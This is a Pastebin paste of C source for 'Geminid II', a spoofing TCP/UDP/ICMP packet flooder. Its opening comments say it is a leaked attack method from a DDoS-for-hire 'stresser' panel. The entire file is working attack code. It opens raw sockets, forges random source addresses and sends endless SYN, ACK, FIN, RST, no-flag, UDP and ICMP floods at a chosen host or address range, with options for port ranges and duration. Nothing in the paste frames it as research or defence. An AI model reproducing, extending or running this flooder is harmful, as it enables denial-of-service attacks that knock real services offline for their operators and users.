Self-Rep-NeTiS

LIGHTS-OUT.c

Feb 17th, 2020
1,217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.02 KB | None | 0 0
  1. //this is also the actual LIGHTS-OUT on his dog shit panel
  2. //this is already public but this is what vybor gets for scamming my boy and selling him backdoored and public methods for $80
  3. //every method on vyborstresser is public and shit, his panel is absolute ass
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9.  
  10. #ifdef F_PASS
  11. #include <sys/stat.h>
  12. #endif
  13.  
  14. #include <netinet/in_systm.h>
  15. #include <sys/socket.h>
  16. #include <string.h>
  17. #include <time.h>
  18.  
  19. #ifndef __USE_BSD
  20. # define __USE_BSD
  21. #endif
  22.  
  23. #ifndef __FAVOR_BSD
  24. # define __FAVOR_BSD
  25. #endif
  26.  
  27. #include <netinet/in.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/tcp.h>
  30. #include <netinet/udp.h>
  31. #include <netinet/ip_icmp.h>
  32. #include <arpa/inet.h>
  33.  
  34.  
  35. #ifdef LINUX
  36. # define FIX(x) htons(x)
  37. #else
  38. # define FIX(x) (x)
  39. #endif
  40.  
  41.  
  42. /* Geminid attack flags */
  43. #define TCP_ACK 1
  44. #define TCP_FIN 2
  45. #define TCP_SYN 4
  46. #define TCP_RST 8
  47. #define UDP_CFF 16
  48. #define ICMP_ECHO_G 32
  49. #define TCP_NOF 64 /* -N */
  50.  
  51. /* No flag attack */
  52. #define TH_NOF 0x0
  53.  
  54. #define TCP_ATTACK() (a_flags & TCP_ACK ||\
  55. a_flags & TCP_FIN ||\
  56. a_flags & TCP_SYN ||\
  57. a_flags & TCP_RST ||\
  58. a_flags & TCP_NOF)
  59.  
  60.  
  61. #define UDP_ATTACK() (a_flags & UDP_CFF)
  62. #define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
  63.  
  64.  
  65. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  66. random () :\
  67. htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  68.  
  69.  
  70. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  71. random () :\
  72. htons(src_sp + (random() % (src_ep -src_sp +1)));
  73.  
  74.  
  75. #define SEND_PACKET() if (sendto(rawsock,\
  76. &packet,\
  77. (sizeof packet),\
  78. 0,\
  79. (struct sockaddr *)&target,\
  80. sizeof target) < 0) {\
  81. perror("sendto");\
  82. exit(-1);\
  83. }
  84.  
  85.  
  86.  
  87. /* Linux / SunOS x86 / FreeBSD */
  88. //#define BANNER_CKSUM 54018
  89.  
  90. /* SunOS Sparc */
  91. #define BANNER_CKSUM 723
  92.  
  93.  
  94. u_long lookup(const char *host);
  95. unsigned short in_cksum(unsigned short *addr, int len);
  96. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  97. char *class2ip(const char *class);
  98. static void send_tcp(u_char th_flags);
  99. static void send_udp(u_char garbage);
  100. static void send_icmp(u_char garbage);
  101. char *get_plain(const char *crypt_file, const char *xor_data_key);
  102. static void usage(const char *argv0);
  103.  
  104.  
  105. u_long dstaddr;
  106. u_short dst_sp, dst_ep, src_sp, src_ep;
  107. char *src_class, *dst_class;
  108. int a_flags, rawsock;
  109. struct sockaddr_in target;
  110.  
  111. /* Self promotion :) */
  112. const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";
  113.  
  114. struct pseudo_hdr { /* See RFC 793 Pseudo Header */
  115. u_long saddr, daddr; /* source and dest address */
  116. u_char mbz, ptcl; /* zero and protocol */
  117. u_short tcpl; /* tcp length */
  118. };
  119.  
  120. struct cksum {
  121. struct pseudo_hdr pseudo;
  122. struct tcphdr tcp;
  123. };
  124.  
  125.  
  126. struct {
  127. int gv; /* Geminid value */
  128. int kv; /* Kernel value */
  129. void (*f)(u_char);
  130. } a_list[] = {
  131.  
  132. /* TCP */
  133. { TCP_ACK, TH_ACK, send_tcp },
  134. { TCP_FIN, TH_FIN, send_tcp },
  135. { TCP_SYN, TH_SYN, send_tcp },
  136. { TCP_RST, TH_RST, send_tcp },
  137. { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
  138.  
  139. /* UDP */
  140. { UDP_CFF, 0, send_udp },
  141.  
  142. /* ICMP */
  143. { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  144. { 0, 0, (void *)NULL },
  145. };
  146.  
  147.  
  148. int
  149. main(int argc, char *argv[])
  150. {
  151. int n, i, on = 1;
  152. int b_link;
  153. #ifdef F_PASS
  154. struct stat sb;
  155. #endif
  156. unsigned int until;
  157.  
  158.  
  159. a_flags = dstaddr = i = 0;
  160. dst_sp = dst_ep = src_sp = src_ep = 0;
  161. until = b_link = -1;
  162. src_class = dst_class = NULL;
  163. while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  164. char *p;
  165.  
  166. switch (n) {
  167. case 'T': /* TCP attack
  168. *
  169. * 0: ACK
  170. * 1: FIN
  171. * 2: RST
  172. * 3: SYN
  173. */
  174.  
  175. switch (atoi(optarg)) {
  176. case 0: a_flags |= TCP_ACK; break;
  177. case 1: a_flags |= TCP_FIN; break;
  178. case 2: a_flags |= TCP_RST; break;
  179. case 3: a_flags |= TCP_SYN; break;
  180. }
  181. break;
  182.  
  183. case 'U': /* UDP attack
  184. */
  185. a_flags |= UDP_CFF;
  186. break;
  187.  
  188. case 'I': /* ICMP attack
  189. */
  190. a_flags |= ICMP_ECHO_G;
  191. break;
  192.  
  193. case 'N': /* Bogus No flag attack (TCP)
  194. */
  195. a_flags |= TCP_NOF;
  196. break;
  197.  
  198. case 's':
  199. src_class = optarg;
  200. break;
  201.  
  202. case 'h':
  203. dstaddr = lookup(optarg);
  204. break;
  205.  
  206. case 'd':
  207. dst_class = optarg;
  208. i = 1; /* neat flag to check command line later */
  209. break;
  210.  
  211. case 'p':
  212. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  213. usage(argv[0]);
  214. dst_sp = atoi(optarg); /* Destination start port */
  215. dst_ep = atoi(p +1); /* Destination end port */
  216. break;
  217.  
  218. case 'q':
  219. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  220. usage(argv[0]);
  221. src_sp = atoi(optarg); /* Source start port */
  222. src_ep = atoi(p +1); /* Source end port */
  223. break;
  224.  
  225. case 'l':
  226. b_link = atoi(optarg);
  227. if (b_link <= 0 || b_link > 100)
  228. usage(argv[0]);
  229. break;
  230.  
  231. case 't':
  232. until = time(0) +atoi(optarg);
  233. break;
  234.  
  235. default:
  236. usage(argv[0]);
  237. break;
  238. }
  239. }
  240.  
  241. /* Checking command line */
  242. if ( (!dstaddr && !i) ||
  243. (dstaddr && i) ||
  244. (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  245. (src_sp != 0 && src_sp > src_ep) ||
  246. (dst_sp != 0 && dst_sp > dst_ep))
  247. usage(argv[0]);
  248.  
  249. srandom(time(NULL) ^ getpid());
  250.  
  251. /* Opening RAW socket */
  252. if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  253. perror("socket");
  254. exit(-1);
  255. }
  256.  
  257. if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  258. (char *)&on, sizeof(on)) < 0) {
  259. perror("setsockopt");
  260. exit(-1);
  261. }
  262.  
  263. /* Filling target structure */
  264. target.sin_family = AF_INET;
  265.  
  266. /* Packeting! */
  267. for (n = 0; ; ) {
  268.  
  269. /* Poor link control handling */
  270. if (b_link != -1 && random() % 100 +1 > b_link) {
  271. if (random() % 200 +1 > 199)
  272. usleep(1);
  273. continue;
  274. }
  275.  
  276. /* Sending requested packets */
  277. for (i = 0; a_list[i].f != NULL; ++i) {
  278. if (a_list[i].gv & a_flags)
  279. a_list[i].f(a_list[i].kv);
  280. }
  281.  
  282. /* Attack is finished? Do not check it every time, would eat
  283. * too much CPU */
  284. if (n++ == 100) {
  285. if (until != -1 && time(0) >= until) break;
  286. n = 0;
  287. }
  288. }
  289.  
  290. exit(0);
  291. }
  292.  
  293.  
  294. u_long
  295. lookup(const char *host)
  296. {
  297. struct hostent *hp;
  298.  
  299. if ( (hp = gethostbyname(host)) == NULL) {
  300. perror("gethostbyname");
  301. exit(-1);
  302. }
  303.  
  304. return *(u_long *)hp->h_addr;
  305. }
  306.  
  307.  
  308. #define RANDOM() (int) random() % 255 +1
  309.  
  310. char *
  311. class2ip(const char *class)
  312. {
  313. static char ip[16];
  314. int i, j;
  315.  
  316. for (i = 0, j = 0; class[i] != '\0'; ++i)
  317. if (class[i] == '.')
  318. ++j;
  319.  
  320. switch (j) {
  321. case 0:
  322. sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  323. break;
  324. case 1:
  325. sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  326. break;
  327. case 2:
  328. sprintf(ip, "%s.%d", class, RANDOM());
  329. break;
  330.  
  331. /* Spoofing single host */
  332. default: strncpy(ip, class, 16);
  333. break;
  334. }
  335. return ip;
  336. }
  337.  
  338.  
  339. unsigned short
  340. in_cksum(unsigned short *addr, int len)
  341. {
  342. int nleft = len;
  343. int sum = 0;
  344. unsigned short *w = addr;
  345. unsigned short answer = 0;
  346.  
  347. /*
  348. * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  349. * sequential 16 bit words to it, and at the end, fold back all the
  350. * carry bits from the top 16 bits into the lower 16 bits.
  351. */
  352. while (nleft > 1) {
  353. sum += *w++;
  354. nleft -= 2;
  355. }
  356.  
  357. /*
  358. * Mop up an odd byte, if necessary
  359. */
  360. if (nleft == 1) {
  361. *(unsigned char *) (&answer) = *(unsigned char *)w;
  362. sum += answer;
  363. }
  364.  
  365. /*
  366. * Add back carry outs from top 16 bits to low 16 bits
  367. */
  368. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  369. sum += (sum >> 16); /* add carry */
  370. answer = ~sum; /* truncate to 16 bits */
  371.  
  372. return answer;
  373. }
  374.  
  375.  
  376. /*
  377. * Creating generic ip header, not yet ready to be used.
  378. */
  379. static void
  380. inject_iphdr(struct ip *ip, u_char p, u_char len)
  381. {
  382.  
  383.  
  384. /* Filling IP header */
  385. ip->ip_hl = 5;
  386. ip->ip_v = 4;
  387. ip->ip_p = p;
  388. ip->ip_tos = 0x08; /* 0x08 */
  389. ip->ip_id = random();
  390. ip->ip_len = len;
  391. ip->ip_off = 0;
  392. ip->ip_ttl = 255;
  393.  
  394. ip->ip_dst.s_addr = dst_class != NULL ?
  395. inet_addr(class2ip(dst_class)) :
  396. dstaddr;
  397.  
  398. ip->ip_src.s_addr = src_class != NULL ?
  399. inet_addr(class2ip(src_class)) :
  400. random();
  401.  
  402. /* I know, this is not part of the game, but anyway.. */
  403. target.sin_addr.s_addr = ip->ip_dst.s_addr;
  404. }
  405.  
  406.  
  407. static void
  408. send_tcp(u_char th_flags)
  409. {
  410. struct cksum cksum;
  411. struct packet {
  412. struct ip ip;
  413. struct tcphdr tcp;
  414. } packet;
  415.  
  416.  
  417. /* Filling IP header */
  418. memset(&packet, 0, sizeof packet);
  419. inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  420. packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
  421.  
  422. /* Filling cksum pseudo header */
  423. cksum.pseudo.daddr = dstaddr;
  424. cksum.pseudo.mbz = 0;
  425. cksum.pseudo.ptcl = IPPROTO_TCP;
  426. cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
  427. cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  428.  
  429. /* Filling TCP header */
  430. packet.tcp.th_flags = 0;
  431. packet.tcp.th_win = htons(65535);
  432. packet.tcp.th_seq = random();
  433. packet.tcp.th_ack = 0;
  434. packet.tcp.th_flags = th_flags;
  435. packet.tcp.th_off = 5;
  436. packet.tcp.th_urp = 0;
  437. packet.tcp.th_sport = CHOOSE_SRC_PORT();
  438. packet.tcp.th_dport = CHOOSE_DST_PORT();
  439. cksum.tcp = packet.tcp;
  440. packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
  441. SEND_PACKET();
  442. }
  443.  
  444.  
  445. static void
  446. send_udp(u_char garbage) /* No use for garbage here, just to remain */
  447. { /* coherent with a_list[] */
  448. struct packet {
  449. struct ip ip;
  450. struct udphdr udp;
  451. } packet;
  452.  
  453.  
  454. /* Filling IP header */
  455. memset(&packet, 0, sizeof packet);
  456. inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  457. packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
  458.  
  459. /* Filling UDP header */
  460. packet.udp.uh_sport = CHOOSE_SRC_PORT();
  461. packet.udp.uh_dport = CHOOSE_DST_PORT();
  462. packet.udp.uh_ulen = htons(sizeof packet.udp);
  463. packet.udp.uh_sum = 0; /* No checksum */
  464. SEND_PACKET();
  465. }
  466.  
  467.  
  468. static void
  469. send_icmp(u_char gargabe) /* Garbage discarded again.. */
  470. {
  471. struct packet {
  472. struct ip ip;
  473. struct icmp icmp;
  474. } packet;
  475.  
  476.  
  477. /* Filling IP header */
  478. memset(&packet, 0, sizeof packet);
  479. inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  480. packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
  481.  
  482. /* Filling ICMP header */
  483. packet.icmp.icmp_type = ICMP_ECHO;
  484. packet.icmp.icmp_code = 0;
  485. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  486. SEND_PACKET();
  487. }
  488.  
  489.  
  490. static void
  491. usage(const char *argv0)
  492. {
  493. printf("%s \n", banner);
  494. printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);
  495.  
  496. printf("REGISTERED TO: seilaqm..\n\n");
  497.  
  498. printf(" -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN] (no default )\n");
  499. printf(" -U UDP attack (no options )\n");
  500. printf(" -I ICMP attack (no options )\n");
  501. printf(" -N Bogus No flag attack (no options )\n");
  502. printf(" -s source class/ip (defaults to random )\n");
  503. printf(" -h destination host/ip (no default )\n");
  504. printf(" -d destination class (no default )\n");
  505. printf(" -p destination port range [start,end] (defaults to random )\n");
  506. printf(" -q source port range [start,end] (defaults to random )\n");
  507. printf(" -l %% of box link to use (defaults to 100%% )\n");
  508. printf(" -t timeout (defaults to forever)\n");
  509.  
  510.  
  511. exit(-1);
  512. }
Advertisement
Add Comment
Please, Sign In to add comment